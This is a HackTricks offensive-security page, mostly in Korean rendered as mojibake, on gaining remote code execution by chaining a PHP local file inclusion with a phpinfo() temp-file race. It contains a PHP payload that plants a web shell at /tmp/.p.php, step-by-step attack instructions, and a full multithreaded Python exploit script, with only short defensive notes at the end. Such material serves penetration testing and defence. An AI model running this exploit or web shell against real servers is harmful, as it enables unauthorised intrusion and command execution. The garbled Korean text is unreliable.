LFI to RCE via PHPInfo

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ๊ธฐ๋ฒ•์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ ํ•ญ๋ชฉ์„ ๋ชจ๋‘ ์ถฉ์กฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • phpinfo() ์ถœ๋ ฅ์„ ๋ณด์—ฌ์ฃผ๋Š” ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํŽ˜์ด์ง€.
  • ์ œ์–ด ๊ฐ€๋Šฅํ•œ Local File Inclusion (LFI) primitive (์˜ˆ: ์‚ฌ์šฉ์ž ์ž…๋ ฅ์— ๋Œ€ํ•œ include/require).
  • PHP ํŒŒ์ผ ์—…๋กœ๋“œ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•จ (file_uploads = On). ๋ชจ๋“  PHP ์Šคํฌ๋ฆฝํŠธ๋Š” RFC1867 multipart ์—…๋กœ๋“œ๋ฅผ ์ˆ˜์šฉํ•˜๊ณ  ์—…๋กœ๋“œ๋œ ๊ฐ ํŒŒํŠธ์— ๋Œ€ํ•ด ์ž„์‹œ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • PHP ์›Œ์ปค๊ฐ€ ์„ค์ •๋œ upload_tmp_dir(๋˜๋Š” ๊ธฐ๋ณธ ์‹œ์Šคํ…œ ์ž„์‹œ ๋””๋ ‰ํ† ๋ฆฌ)์— ์“ธ ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, LFI๊ฐ€ ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ includeํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํด๋ž˜์‹ write-up ๋ฐ ์›๋ณธ PoC:

  • ๋ฐฑ์„œ: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • ์›๋ณธ PoC ์Šคํฌ๋ฆฝํŠธ ์ด๋ฆ„: phpinfolfi.py (๋ฐฑ์„œ ๋ฐ ๋ฏธ๋Ÿฌ ์ฐธ์กฐ)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

์›๋ณธ PoC์— ๋Œ€ํ•œ ์ฃผ์˜ ์‚ฌํ•ญ

  • phpinfo() ์ถœ๋ ฅ์€ HTML๋กœ ์ธ์ฝ”๋”ฉ๋˜์–ด ์žˆ์–ด โ€œ=>โ€ ํ™”์‚ดํ‘œ๊ฐ€ ์ข…์ข… โ€œ=>โ€œ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๋ ˆ๊ฑฐ์‹œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, _FILES[tmp_name] ๊ฐ’์„ ํŒŒ์‹ฑํ•  ๋•Œ ๋‘ ์ธ์ฝ”๋”ฉ์„ ๋ชจ๋‘ ๊ฒ€์ƒ‰ํ•˜๋„๋ก ํ•˜์„ธ์š”.
  • payload(๋‹น์‹ ์˜ PHP ์ฝ”๋“œ), REQ1(ํŒจ๋”ฉ์„ ํฌํ•จํ•œ phpinfo() ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•œ ์š”์ฒญ), ๊ทธ๋ฆฌ๊ณ  LFIREQ(LFI sink์— ๋Œ€ํ•œ ์š”์ฒญ)๋ฅผ ๋Œ€์ƒ์— ๋งž๊ฒŒ ์กฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๋Œ€์ƒ์€ null-byte (%00) terminator๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์œผ๋ฉฐ ์ตœ์‹  PHP ๋ฒ„์ „์€ ์ด๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ sink์— ๋งž๊ฒŒ LFIREQ๋ฅผ ์กฐ์ •ํ•˜์„ธ์š”.

HTML๋กœ ์ธ์ฝ”๋”ฉ๋œ ํ™”์‚ดํ‘œ๋ฅผ ๋งค์น˜ํ•˜๊ธฐ ์œ„ํ•œ ์˜ˆ์ œ sed(์˜ค๋ž˜๋œ Python2 PoC๋ฅผ ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ์—๋งŒ):

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Theory

  • PHP๊ฐ€ multipart/form-data POST๋กœ file field๋ฅผ ๋ฐ›์œผ๋ฉด, ๋‚ด์šฉ์„ ์ž„์‹œ ํŒŒ์ผ(upload_tmp_dir ๋˜๋Š” OS default)์— ๊ธฐ๋กํ•˜๊ณ  ๊ฒฝ๋กœ๋ฅผ $_FILES[โ€˜โ€™][โ€˜tmp_nameโ€™]์— ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ํŒŒ์ผ์€ ์ด๋™/์ด๋ฆ„ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์œผ๋ฉด ์š”์ฒญ ๋์— ์ž๋™์œผ๋กœ ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค.
  • ์š”์ ์€ ์ž„์‹œ ์ด๋ฆ„์„ ์•Œ์•„๋‚ด์–ด PHP๊ฐ€ ์ •๋ฆฌํ•˜๊ธฐ ์ „์— LFI๋กœ ํฌํ•จ์‹œํ‚ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. phpinfo()๋Š” $_FILES๋ฅผ ์ถœ๋ ฅํ•˜๋ฉฐ tmp_name์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • ์š”์ฒญ ํ—ค๋”/ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ถ€ํ’€๋ ค(padding) phpinfo() ์ถœ๋ ฅ์˜ ์ดˆ๊ธฐ ์ฒญํฌ๋ฅผ ์š”์ฒญ์ด ๋๋‚˜๊ธฐ ์ „์— ํด๋ผ์ด์–ธํŠธ๋กœ ํ”Œ๋Ÿฌ์‹œํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด, ์ž„์‹œ ํŒŒ์ผ์ด ์—ฌ์ „ํžˆ ์กด์žฌํ•˜๋Š” ๋™์•ˆ tmp_name์„ ์ฝ๊ณ  ์ฆ‰์‹œ ๊ทธ ๊ฒฝ๋กœ๋กœ LFI๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.

Attack workflow (step by step)

  1. ๋ ˆ์ด์Šค์—์„œ ์ง€์ง€ ์•Š๋„๋ก ๋น ๋ฅด๊ฒŒ shell์„ ์ง€์†์‹œํ‚ค๋Š” ์ž‘์€ PHP payload๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค (ํŒŒ์ผ์„ ์“ฐ๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์œผ๋กœ reverse shell์„ ๊ธฐ๋‹ค๋ฆฌ๋Š” ๊ฒƒ๋ณด๋‹ค ๋น ๋ฆ…๋‹ˆ๋‹ค):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. phpinfo() ํŽ˜์ด์ง€๋กœ ๋Œ€์šฉ๋Ÿ‰ multipart POST๋ฅผ ์ง์ ‘ ์ „์†กํ•˜์—ฌ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋œ ์ž„์‹œ ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜๊ฒŒ ํ•œ๋‹ค. ์กฐ๊ธฐ ์ถœ๋ ฅ์„ ์œ ๋„ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ํ—ค๋”/์ฟ ํ‚ค/ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์•ฝ 5โ€“10KB ์ •๋„์˜ ํŒจ๋”ฉ์œผ๋กœ ๋ถ€ํ’€๋ ค๋ผ. form ํ•„๋“œ ์ด๋ฆ„์ด $_FILES์—์„œ ํŒŒ์‹ฑํ•  ์ด๋ฆ„๊ณผ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋ผ.

  2. phpinfo() ์‘๋‹ต์ด ์•„์ง ์ŠคํŠธ๋ฆฌ๋ฐ ์ค‘์ผ ๋•Œ, ๋ถ€๋ถ„์ ์œผ๋กœ ์ˆ˜์‹ ๋œ ๋ฐ”๋””๋ฅผ ํŒŒ์‹ฑํ•ด $_FILES[โ€˜โ€™][โ€˜tmp_nameโ€™] (HTML-encoded)๋ฅผ ์ถ”์ถœํ•˜๋ผ. ์ „์ฒด ์ ˆ๋Œ€ ๊ฒฝ๋กœ(์˜ˆ: /tmp/php3Fz9aB)๋ฅผ ํ™•๋ณดํ•˜์ž๋งˆ์ž ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ํฌํ•จํ•˜๋„๋ก LFI๋ฅผ ๋ฐœ๋™์‹œ์ผœ๋ผ. include()๊ฐ€ ์ž„์‹œ ํŒŒ์ผ์ด ์‚ญ์ œ๋˜๊ธฐ ์ „์— ์‹คํ–‰๋˜๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‹คํ–‰๋˜์–ด /tmp/.p.php๊ฐ€ ์ƒ์„ฑ๋œ๋‹ค.

  3. ์ƒ์„ฑ๋œ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜๋ผ: GET /vuln.php?include=/tmp/.p.php&x=id (๋˜๋Š” LFI๋กœ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ)๋กœ ๋ช…๋ น์„ ์•ˆ์ •์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

ํŒ

  • ๋ ˆ์ด์Šค์—์„œ ์ด๊ธธ ํ™•๋ฅ ์„ ๋†’์ด๋ ค๋ฉด ์—ฌ๋Ÿฌ ๋ณ‘๋ ฌ ์›Œ์ปค(workers)๋ฅผ ์‚ฌ์šฉํ•˜๋ผ.
  • ์ผ๋ฐ˜์ ์œผ๋กœ ๋„์›€์ด ๋˜๋Š” ํŒจ๋”ฉ ์œ„์น˜: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. ๋Œ€์ƒ์— ๋งž๊ฒŒ ์กฐ์ •ํ•˜๋ผ.
  • ์ทจ์•ฝํ•œ sink๊ฐ€ ํ™•์žฅ์ž(์˜ˆ: .php)๋ฅผ ๋ง๋ถ™์ธ๋‹ค๋ฉด null byte๋Š” ํ•„์š” ์—†๋‹ค; include()๋Š” ์ž„์‹œ ํŒŒ์ผ ํ™•์žฅ์ž์™€ ๊ด€๊ณ„์—†์ด PHP๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

Minimal Python 3 PoC (socket-based)

์•„๋ž˜ ์Šค๋‹ˆํŽซ์€ ํ•ต์‹ฌ ๋ถ€๋ถ„์—๋งŒ ์ดˆ์ ์„ ๋งž์ถ”์–ด legacy Python2 ์Šคํฌ๋ฆฝํŠธ๋ณด๋‹ค ์ˆ˜์ •ํ•˜๊ธฐ ์‰ฝ๋‹ค. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), ๋ฐ PAYLOAD๋ฅผ ์ปค์Šคํ„ฐ๋งˆ์ด์ฆˆํ•˜๋ผ.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

๋ฌธ์ œ ํ•ด๊ฒฐ

  • You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
  • Output doesnโ€™t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers wonโ€™t flush until larger thresholds; adjust accordingly.
  • LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
  • Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.

๋ฐฉ์–ด์ƒ์˜ ์ฃผ์˜์‚ฌํ•ญ

  • Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
  • Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
  • Treat any LFI as critical; even without phpinfo(), other LFIโ†’RCE paths exist.

๊ด€๋ จ HackTricks ๊ธฐ๋ฒ•

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

์ฐธ๊ณ ์ž๋ฃŒ

  • LFI With PHPInfo() Assistance whitepaper (2011) โ€“ Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual โ€“ POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ